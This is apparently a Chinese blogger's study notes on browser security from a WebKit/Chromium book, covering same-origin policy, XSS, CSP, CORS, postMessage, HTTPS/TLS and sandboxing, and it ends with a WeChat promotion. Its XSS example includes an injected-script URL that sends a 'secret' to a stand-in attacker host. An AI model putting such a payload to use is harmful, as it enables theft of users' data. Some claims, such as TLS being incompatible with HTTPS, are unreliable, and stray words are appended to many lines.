此文章是我最近在看的【WebKit 技術內幕】一書的一些理解和作的筆記。vue
而【WebKit 技術內幕】是基於 WebKit 的 Chromium 項目的講解。java
書接上文 瀏覽器之 javaScript 引擎node
本章主要講解 瀏覽器安全機制的網頁的安全和瀏覽器的安全。react
當用戶訪問網頁的時候,瀏覽器須要確保該網頁中數據的安全性,如 Cookie、用戶名和密碼等信息不會被其餘的惡意網頁所獲取。程序員
HTML5 定義了一系列安全機制來保證網頁瀏覽的安全性,這構成了網頁的安全模型。web
域(Origin)表示的是網頁所在的域名、傳輸協議和端口(Port)等信息,是代表網頁身份的重要標識。算法
例如:「http://blog.csdn.net/milado_nju」,那麼跨域
根據安全模型的定義,不一樣域中網頁間的資源訪問是受到嚴格的限制的,也就是網頁的 DOM 對象、我的數據、XMLHttpRequest 等須要受到控制。瀏覽器
默認狀況下,不一樣網頁間的這些數據是被瀏覽器隔離的,不能相互訪問,這就是 HTML 的 「Same origin Policy」 策略。安全
由於這些策略的限制,因此若是有兩個網頁,只要協議、域名、端口 三個其中有一個不同,就是不一樣的域。
惟一容許的條件是 這兩個網頁在同一域中,根據規範的定義,當且僅當它們的協議、域名和端口都相同的狀況下,瀏覽器纔會容許它們之間相互訪問。
在 HTML 解釋器中,HTMl 構建 DOM 的過程當中,WebKit 使用一個叫作 XSSAuditor 的類來作安全方面的檢查,它的做用是防止 XSS 攻擊的。
XSS 全稱是 Cross Site Scripting,其含義是 執行跨域的 JavaScript 腳本代碼。
執行腳本這自己沒什麼問題,可是,因爲執行其餘域的腳本代碼可能存在嚴重的危害,還有可能會盜取當前域中的各類數據。
假如用戶不當心單擊以下的連接:
「http://myweb.com/?<script>window.open('http://hac.ker.com/?secret=do...')</script>」。
若是該網頁中存在漏洞,這段網址的輸入可能變成了代碼被注入網頁中,那麼該網頁的信息將會被傳輸到另一個域中去,其中主要的緣由是瀏覽器將用戶的數據變成了能夠執行的代碼。
解決上面問題的一個典型的方法就是不信任任何來自用戶輸入的數據。對於上面的栗子,可使用字符轉換,由於 「<>」 等字符在 HTML 中有特殊的含義,表示的是元素,因此開發都將用戶輸入的數據進行字符轉換,那就是將 「<」 轉換成 「 <;」,「>」 轉換成 「>;」 等,這樣瀏覽器就不會將它們做爲代碼來執行。
除了上面的攻擊的一個例子外,還有不少方法和手段會被用來攻擊網站的。
爲此,標準組織和 WebKit 使用了大量的技術來避免各類攻擊的發生。
如,在 HTTP 消息頭中定義了一個名爲 「X-XSS-Protection」 的字段,此時瀏覽器會打開防止 XSS 攻擊的過濾器,目前主要的瀏覽器都支持該技術。
Content Security Policy 是一種防止 XSS 攻擊的技術,它 使用 HTTP 消息頭 來指定網站或者網頁可以標註哪些域中的哪些類型的資源被容許加載在該域的網頁中,包括 JavaScript、CSS、HTML Frames、字體、圖片和嵌入對象(如插件、Java Applet 等)。
在 HTTP 消息頭中,可使用相應的字段來控制這些域和資源的訪問,其主要是服務器返回的 HTTP 消息頭。
根據 「Same Origin Policy" 原則,瀏覽器作了不少限制以阻止跨域的訪問,因此跨域的資源共享又變成了一個問題。
標準組織爲了適應現實的須要,制定了 CORS (Cross Origin Resource Sharing) 規範,也就是跨域資源共享,該規範也是藉助於 HTTP 消息頭 並經過定義了一些字段來實現的,主要是 定義不一樣域之間交互數據的方式。
值得注意,CORS 和 CSP 規定的是不一樣領域的標準,處理的是不一樣的事情。
主要區別:
CSP 定義的是網頁自身可以訪問的某些域和資源,而 CORS 定義的是一個網頁如何才能訪問被同源策略禁止的跨域資源,規定二者交互的協議和方式。
當某個網頁但願訪問其餘域資源的時候,就須要按照 CORS 定義的標準從一個域訪問另一個域的數據。好比 一個網站 http://myweb.com 但願使用 http://blog.csdn.net 上的數據,這時就須要用到 CORS。
包含了 CORS 的消息頭不是簡單的 HTTP 消息頭,該消息請求在 CROS 裏面被稱爲 「Preflight」 消息請求。
CORS 使用的字段名和功能如表 12-2所示。
其類型能夠分紅請求端和響應端兩種。由於沒有必要每一個 HTTP 消息頭都要包含這些類型,因此用 「Preflight」 請求來發送包含 CORS 字段的消息,而其餘則是簡單的 HTTP 消息頭。
圖中的 「Access-Control-Max-Age」 則是表示 Prefight 請求的有效期,在有效期內不須要重複發送 CORS 定義字段的消息。
爲了解決 JavaScript 直接訪問其餘域網頁的 DOM 結構問題,標準組織引入一個消息傳遞機制,就是 Cross Document Messaging。
Cross Document Messaging 定義的是經過 window.postMessage 接口讓 JavaScript 在不一樣域的文檔中傳遞消息成爲可能。如 示例代碼 12-2
// http://myweb.com 中的 JavaScript 代碼: contentWin.postMessage('Hello','http://blog.csdn.net');
// http://blog.csdn.net/milado_nju 網頁中 JavaScript 代碼(假如能夠的話): window.addEventListener('message',function(e){ if (e.origin == 'http://myweb.com' ){ if (e.data == "Heello"){ e.source.postMessage('Hello2', e.origin); }else{ alert(e.data); } } }, false);
該機制使用 「window」 對象的 postMessage 方法來傳遞給其餘域網頁消息,該方法包含兩個參數,第一個是 消息內容,第二個是須要對方的域信息。而在接收方,開發者在 JavaScript 代碼中註冊一個消息響應函數,如上面代碼所示,若是檢查出消息來自於 「http://myweb.com」 ,那麼就回復一個 「hello2」 消息,原理很是簡單。
在 http 時代,網頁的數據的傳輸都是使用明文方式,它們對誰都是可見的,因此對於隱私的數據,如密碼、銀行帳號信息等,就不能使用明文來傳輸了。
爲此,Web 引入了安全的數據傳輸協議,這就是 HTTPS。
HTTPS 是在 HTTP 協議之上使用 SSL(Secure Socket Layer) 技術來對傳輸的數據進行加密,從而保證了數據的安全性。
SSL 協議是構建在 TCP 協議之上,應用層協議 HTTP 之下的。SSL 工做的主要流程是先進行服務器認證(認證服務器是安全可靠的),而後是用戶認證。
SSL協議主要是服務提供商對用戶信息保密的承諾,這有利於提供商而不利於消費者。
同時 SSl 還存在一些問題,如,只能提供交易中客戶與服務器間的雙方認證,在涉及多方的電子交易中,SSL 協議並不能協調各方間的安全傳輸和信任關係。
TLS (Transport Layer Security)是在 SSL3.0 基礎之上發展起來的,它使用了新的加密算法,因此它同 HTTPS 之間並不兼容。TLS 用於兩個通訊應用程序之間,提供保密性和數據完整性,該協議是由兩個子協議組成的,包括 TLS 記錄協議(TLS Record)和 TLS 握手協議(TLS Handshake)。較低的層爲 TLS 記錄協議,位於 TCP 協議之上。
由於若是瀏覽器運行的主機代碼被入侵了,經過一些手段或者瀏覽器中的漏洞,這些代碼可能獲取了主機的管理權限,對主機系統來講是很是危險的。
因此,除了保證網頁自己以外,還須要保證瀏覽器和瀏覽器所在的系統不存在危險。
若是有一種機制,將網頁運行限制在一個特定的環境中,也就是一個沙箱中,使它只能訪問有限的功能。 那麼,即便網頁工做的渲染引擎被攻擊,它也不可以獲取渲染引擎工做的主機系統中的任何權限,這一思想就是沙箱模型。
WebKit 中並無提供沙箱機制的支持,是 Chromium 支持沙箱的實現方式。
Chromium 是以多進程爲基礎的,網頁的渲染在一個獨立的 Renderer 進程中進行,這爲實現沙箱模型提供了基礎,由於能夠相對容易地使用一些技術將整個網頁的渲染過程放在一個受限的進程中來完成,如圖 12-7 所示,愛限環境只能被某些或者不多的系統調用並且不能直接訪問用戶數據。而沙箱模型工做的基本單位就是進程。
Chromium 的沙箱模型是 利用系統提供的安全技術,讓網頁在執行過程當中不會修改操做系統或者是訪問系統中的隱私數據,而須要訪問系統資源或者說是系統調用的時候,經過一個代理機制來完成。
由於沙箱模型嚴重依賴操做系統提供的技術,而不一樣操做系統提供的安全技術是不同的,因此不一樣操做系統上的實現是不一致的。不論是 LInux、Windows、仍是其餘平臺, Chromium 都是在進程的粒度下來實現沙箱模型,也就是說須要運行在沙箱下的操做都在一個單獨的進程中。因此,對於使用沙箱模型至少須要兩個進程。如 12-8。
目標進程就是須要在沙箱中運行的代碼。
代理進程是 須要負責建立目標進程併爲目標進程設置各類安全策略,同時創建 IPC 鏈接,接受目標進程的各類請求,由於目標進程是不能訪問過多資源的。
但願本文對你有點幫助。
對 全棧開發 有興趣的朋友能夠掃下方二維碼關注個人公衆號
微信公衆號:愛寫bugger的阿拉斯加
分享 web 開發相關的技術文章,熱點資源,全棧程序員的成長之路,你們一塊兒交流成長。
只要關注公衆號並回復 福利 便免費送你六套視頻資源,絕對乾貨。
福利詳情請點擊: 免費資源分享——Python、Java、Linux、Go、node、vue、react、javaScript